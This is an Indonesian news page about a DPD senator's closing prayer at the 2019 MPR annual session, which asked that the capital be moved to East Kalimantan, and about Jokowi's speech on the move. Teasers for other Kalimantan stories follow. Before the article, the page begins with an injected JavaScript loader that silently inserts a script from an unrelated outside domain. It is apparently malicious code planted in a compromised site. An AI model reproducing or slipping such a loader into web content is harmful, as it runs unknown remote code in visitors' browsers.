(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Wacana pemindahan ibu kota negara yang digulirkan Presiden Joko Widodo dalam pidato kenegaraan, ikut masuk dalam doa penutup Sidang Tahunan MPR RI. Anggota DPD RI Muhammad Idris dari Provinsi Kalimantan Timur menyelipkan rencana Jokowi itu pada akhir doa yang ia panjatkan.
“Allahumma ya Allah, Yang Maha Agung, sekiranya pemindahan ibu kota negara Republik Indonesia itu ya Allah, sebagai solusi yang terbaik untuk mengatasi segala kesulitan ibu kota negara, maka mohon Ya Rab, bulatkan tekad para pemimpin kami, para pejabat lembaga tinggi negara, alim ulama, cendekiawan, cerdik pandai, masyarakat,” ucap Idris saat membacakan doa penutup Sidang Tahunan MPR RI di Kompleks Parlemen, Senayan, Jakarta, Jumat (16/8).
Idris juga sempat berdoa agar Indonesia jadi negara yang aman nan sentosa. Dia memohon agar Indonesia mendapat berkah dan ridha dari Allah SWT. Idris juga sempat berdoa agar ibu kota negara dipindahkan ke Provinsi Kalimantan Timur, daerah pemilihannya sebagai anggota DPD RI.
“Khususnya untuk memindahkan ibu kota ke Provinsi Kalimantan Timur sebagai ibu kota negara Republik Indonesia, berdasarkan Pancasila dan UUD 1945, negara yang baldatun toyyibatun wa robbun ghafur,” ujar dia.
Doa politis itu pun sempat mengundang tawa dan tepuk tangan usai dirapalkan. Bahkan Ketua DPD RI Oesman Sapta Odang langsung tertawa terbahak-bahak usai doa selesai dibacakan. “Terima kasih Bapak Haji Muhammad Idris, semoga harapannya dan kita semua bisa dikabulkan,” ujar OSO.
Pemindahan ibu kota ini sebelumnya sempat disinggung Jokowi di bagian terakhir pidato kenegaraan. Sebelum menutup pidato Jokowi meminta izin semua peserta sidang dan rakyat Indonesia untuk memindahkan ibu kota dari Jakarta ke Kalimantan. Namun Jokowi tidak spesifik menyebut bagian mana di Pulau Kalimantan yang akan menjadi ibu kota baru.
“Pada kesempatan yang bersejarah ini. Dengan memohon ridho Allah SWT, dengan meminta izin dan dukungan dari Bapak Ibu Anggota Dewan yang terhormat, para sesepuh dan tokoh bangsa terutama dari seluruh rakyat Indonesia, dengan ini saya mohon izin untuk memindahkan ibu kota negara kita ke Pulau Kalimantan,” kata Jokowi.
Jokowi menyebut ibu kota bukan hanya simbol identitas bangsa, tetapi juga representasi kemajuan bangsa. Pemindahan ibu kota, lanjut Jokowi, demi mewujudkan pemerataan dan keadilan ekonomi. (dhf/wis)
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More
KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More
This website uses cookies.